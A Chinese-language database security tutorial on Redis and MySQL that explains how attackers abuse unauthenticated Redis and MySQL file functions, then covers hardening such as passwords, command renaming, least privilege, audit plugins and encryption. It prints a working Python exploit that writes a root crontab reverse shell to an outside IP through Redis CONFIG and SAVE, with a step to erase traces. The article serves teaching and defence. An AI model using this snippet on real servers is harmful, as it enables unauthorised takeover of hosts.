说到数据库,你可能会说:“数据库是我最熟悉的工具,可以设计复杂的表结构,编写出色的SQL查询,优化高并发场景下的读写性能。”的确,我们的日常工作严重依赖数据库,其中存储的大量敏感信息对企业和用户都至关重要。
但是你对数据库安全了解多少?你知道数据库如何处理身份验证吗?与数据库交换数据的过程安全吗?如果黑客获得数据库的访问权限,会发生什么?
今天我们以Redis和MySQL两个常见数据库为例,来探讨一下数据库安全。
首先我们来了解一下 Redis,我们知道 Redis 是一个高性能的键值(KV)数据库,Redis 的设计初衷就是在可信环境中提供高性能,因此 Redis 在设计时并没有过多的考虑安全性,甚至可以说,为了获得更高的性能,Redis 故意牺牲了一些安全性。
在安全性较低的情况下,黑客如果获得了Redis的访问权限,可以做什么呢?最直接的,黑客可以任意修改Redis中的数据。例如,一个简单的FLUSHALL
命令就可以让黑客清除Redis中的所有数据。
更复杂的场景,黑客可以通过 Redis 在服务器上执行命令来提升权限,从而控制整个服务器。但是,由于 Redis 本身不提供命令执行能力,那么黑客如何让 Redis 执行命令呢?我们来看看具体的代码流程,以便更好地理解这一点。
r = redis.Redis(host= 10.0 .0 .1 , port= 6379 , db= 0 , socket\_timeout= 10 )
payload = '\\n\\n\*/1 \* \* \* \* /bin/bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\\n\\n'
path = '/var/spool/cron'
name = 'root'
key = 'payload'
r.set (key, payload) r.config\_set
( 'dir' , path)
r.config\_set( 'dbfilename' , name)
r.save()
r.delete(key) \# 清除痕迹
r.config\_set( 'dir' , '/tmp' )
我将详细解释这个过程,您可以参考代码以便更好地理解。
攻击者获得 Redis 的访问权限。
攻击者写入一个任意的Key和对应的Value,其中包含他们想要执行的命令,并根据Crontab进行格式化。
\*/1\* \* \* \* /bin/bash -i >& /dev/tcp/1.2.3.4/80800>&1
攻击者调用该config_set
方法,使用Redis的CONFIG命令将Redis的数据持久目录更改为/var/spool/cron
。
攻击者随后调用该save
方法,通过SAVE命令触发Redis的数据持久化功能,最终Redis将数据写入到文件中,写入/var/spool/cron
文件内容如下:
这样,攻击者就巧妙利用了Redis的文件保存特性来修改Crontab,然后利用Crontab来执行命令。
那么,我们如何才能确保 Redis 的安全呢?这里我们需要参考前面讨论过的“黄金法则”和“最小特权原则”。
首先在认证方面,Redis 提供了基本的密码认证功能,通过requirepass 123456
在 Redis 的配置文件中添加一行,我们可以为 Redis 设置密码。不过有两点需要注意:
Redis 性能很高,理论上攻击者可以以每秒数十万次的速度尝试猜测密码。因此,您必须设置足够强的密码。我建议生成一个由数字和字母组成的随机 32 个字符的密码。此外,Redis 密码直接存储在配置文件中,因此您无需记住它 - 只需在需要时检查它即可。
Redis 的设计初衷是高性能,之所以默认不配置密码,是因为密码会影响性能,在我之前的测试中,添加密码会导致整体性能下降 20% 左右,这也是为什么很多开发和运维团队明知有安全风险,却依然选择不设置密码的原因。所以,是否要为 Redis 设置密码,需要根据自己的具体情况来权衡。
接下来是授权。虽然Redis并没有提供授权机制,但是我们仍然可以通过“改名”的方式实现间接授权的功能。通过在rename-command CONFIG pUVEYEvdaGH2eAHmNFcDh8Qf9vOej4Ho
Redis的配置文件中添加内容,我们可以将CONFIG命令的关键字改为一个随机字符串。由于攻击者不知道这个字符串,所以无法执行CONFIG命令。你仍然可以通过新的命令使用CONFIG功能,而不会影响你的正常操作。
现在,你应该知道我们可以针对身份验证和授权使用哪些保护措施了。对于审计,Redis 只提供了基本的日志记录功能(日志级别:Debug、Verbose、Notice 和 Warning),这些功能用处不大,应用价值有限。
除了身份验证和授权之外,如果您想加密 Redis 中的数据,您需要在客户端集成相应的功能,因为 Redis 本身不提供任何加密功能或服务。
最后,避免以 ROOT 权限运行 Redis,这涉及到“最小权限原则”。在命令执行的例子中,攻击者利用 Redis 的保存功能“写入 Crontab”来执行命令。但是,写入 Crontab 需要 ROOT 权限。因此,以低权限用户(例如,nobody)启动 Redis 可以降低攻击者访问 Redis 的影响。当然,Redis 仍然需要写入日志文件和持久数据的权限(低于 ROOT 权限)才能正常运行。
总结一下,Redis 是一个优先考虑性能,并为此牺牲部分安全性的数据库。我们可以通过“添加密码”、“使用最小权限原则”、“授权”等方式在一定程度上增强 Redis 的安全性。但这些防护措施更多的是一种缓解策略。为了确保安全,最好只在可信任的网络中使用 Redis。
说到入侵数据库,你现在应该能够总结出主要方法要么执行各种命令来对数据库的数据执行“创建、读取、更新和删除”等操作,要么使用各种技术实现命令执行并最终获得对整个服务器的控制权。
那么,MySQL 中的黑客攻击方法有何不同?
MySQL是一个功能强大的数据库,它提供了与本地文件交互的功能,例如MySQL可以通过 读取服务器上的本地文件,LOAD DATA INFILE
也可以通过 向本地文件写入数据SELECT … INTO DUMPFILE
。因此,攻击者在获得MySQL访问权限后,可以通过 读取文件 函数读取服务器上的任意文件,包括敏感/etc/passwd
文件或者应用程序源代码等,而 写入文件 函数可以通过修改Crontab实现类似Redis的命令执行。
相较于Redis,MySQL是更加成熟的数据库工具,具有较高的固有安全性。通过正确配置MySQL的安全选项,可以实现较高的安全性。
那么,MySQL 关于黄金法则和加密提供了哪些功能?
MySQL 提供了多用户认证系统,将用户相关信息(认证详情、权限详情)存储在mysql.user
系统表中,利用该系统表,MySQL 可以通过 CRUD 操作定义和管理用户认证详情、权限列表等。
除此之外,MySQL 还提供了全面的密码管理系统,包括:
密码过期:强制用户定期更改密码。
密码重复使用限制:防止用户重复使用旧密码。
密码强度评估:强制使用强密码。
密码失败保护:登录尝试失败次数过多后锁定帐户。
这些密码管理机制可以帮助您维护一个相对安全的身份验证系统。
在多用户认证系统中,授权是必不可少的。那么,MySQL 中的授权机制是什么样的呢?
授予 用户@“127.0.0.1”对db.table的所有权限,身份为“密码”
我们通过修改GRANT命令来分析MySQL的授权机制中的主体(principal)、对象(object)、请求(request)。
Principal (user@“127.0.0.1” IDENTIFIED BY “password”):在 MySQL 中,Principal 由用户名、IP 地址和密码的组合来标识。
对象(db.table):MySQL 中的对象是数据库和表。
请求(ALL PRIVILEGES):MySQL 将请求的类型定义为权限,常见的权限有 INSERT、DELETE、CRUD 等操作(更详细的权限可以参考官方文档)。
另外,MySQL定义了ROLE的概念,允许您基于此功能实现基于角色的访问控制(role-BAC)机制。
虽然 MySQL 和 Redis 一样没有提供内置的审计功能,但你可以使用第三方插件来启用审计。例如,McAfee 的 mysql-audit 和 MariaDB Audit Plugin 可以自动收集必要的 MySQL 操作信息并将其推送到你的日志集群(如 ELK),从而实现持续审计。
关于加密,MySQL 提供传输过程中的 SSL(安全套接字层)加密和存储过程中的磁盘加密。
首先我们来了解一下MySQL的SSL加密功能,开启SSL需要在配置文件中配置以下命令:
\[mysqld\]
SSL-ca=ca.pem
SSL-cert=服务器证书.pem
SSL-key=服务器密钥.pem
但是,这些配置不会强制所有客户端都使用 SSL 连接。为了确保只使用安全连接,您可以添加require_secure_transport=ON
到配置文件中以强制执行此限制。
接下来我们看一下MySQL提供的磁盘加密功能,磁盘加密过程中涉及到两个密钥,一个是主密钥,另一个是表密钥。表密钥是MySQL随机生成的,并用主密钥加密后存储在表头信息中,因此每个表都有一个唯一的密钥。
MySQL 的加密功能由插件提供keyring_file
。需要注意的是,keyring_file
首次启动时,它会在当前系统上生成一个主密钥文件。您必须备份此密钥文件,因为如果丢失,由于无法解密,数据库中的所有数据都将无法访问。
现在你应该明白 MySQL 基于“黄金法则”提供的安全功能了。接下来,我们来研究一下“最小权限原则”。
与 Redis 一样,MySQL 也应避免以 ROOT 权限启动。与 Redis 不同,MySQL 默认提供此功能。在mysqld
Linux 中启动 MySQL 进程时,mysqld
将自动创建一个具有最小权限的 mysql 用户,并向该用户分配日志文件所需的权限,确保 MySQL 以最小的必要权限运行。
总而言之,MySQL 是一款高度成熟的数据库工具,具有全面的安全功能。通过正确配置其身份验证、授权、审计和加密功能,您可以显著增强 MySQL 的整体安全性。
今天我们主要对Redis和MySQL两个代表性数据库的安全性进行分析,并讨论这两个数据库一旦被入侵可能带来的危害。
从此分析中,我们了解到对数据库的威胁不仅限于数据本身,还会影响托管数据库的服务器。为了保护数据库本身,我们可以应用“黄金法则”在身份验证、授权、审计和加密方面建立一定的保护措施。此外,为了防止数据库影响服务器,我们应该遵守“最小特权原则”,避免以 ROOT 权限运行数据库服务。
当然,除了这两个之外,还有很多更成熟的数据库产品可供选择。但我希望通过本文对 Redis 和 MySQL 的分析,大家能够掌握数据库安全的核心概念。在实际工作中,大家可以灵活运用这些原则,独立分析自己使用的数据库。